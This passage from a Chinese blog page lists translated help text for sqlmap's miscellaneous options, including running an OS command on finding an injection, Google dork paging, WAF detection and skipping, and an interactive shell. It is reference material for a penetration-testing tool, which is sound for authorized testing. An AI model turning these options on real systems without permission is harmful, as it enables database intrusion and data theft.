    --preprocess=PRE..  使用给定脚本预处理响应数据
    --repair            重新导出具有未知字符的数据(?)
    --save=SAVECONFIG   将选项设置保存到一个 INI 配置文件
    --scope=SCOPE       用正则表达式从提供的代理日志中过滤目标
    --test-filter=TE..  根据 payloads 和/或标题(例如:ROW)选择测试
    --test-skip=TEST..  根据 payloads 和/或标题(例如:BENCHMARK)跳过部分测试
    --update            更新 sqlmap

  杂项:
    -z MNEMONICS        使用短助记符(例如:“flu,bat,ban,tec=EU”)
    --alert=ALERT       在找到 SQL 注入时运行 OS 命令
    --answers=ANSWERS   设置预定义回答(例如:“quit=N,follow=N”)
    --beep              出现问题提醒或在发现 SQL 注入时发出提示音
    --cleanup           指定移除 DBMS 中的特定的 UDF 或者数据表
    --dependencies      检查 sqlmap 缺少(可选)的依赖
    --disable-coloring  关闭彩色控制台输出
    --gpage=GOOGLEPAGE  指定页码使用 Google dork 结果
    --identify-waf      针对 WAF/IPS 防护进行彻底的测试
    --mobile            使用 HTTP User-Agent 模仿智能手机
    --offline           在离线模式下工作(仅使用会话数据)
    --purge             安全删除 sqlmap data 目录所有内容
    --skip-waf          跳过启发式检测 WAF/IPS 防护
    --smart             只有在使用启发式检测时才进行彻底的测试
    --sqlmap-shell      调出交互式 sqlmap shell
    --tmp-dir=TMPDIR    指定用于存储临时文件的本地目录
    --web-root=WEBROOT  指定 Web 服务器根目录(例如:"/var/www")
    --wizard            适合初级用户的向导界面

 

上一篇:Proj THUDBFuzz Paper Reading: Baloo: Measuring and Modeling the Performance Configurations of Distri


下一篇:第一节——初识数据库系统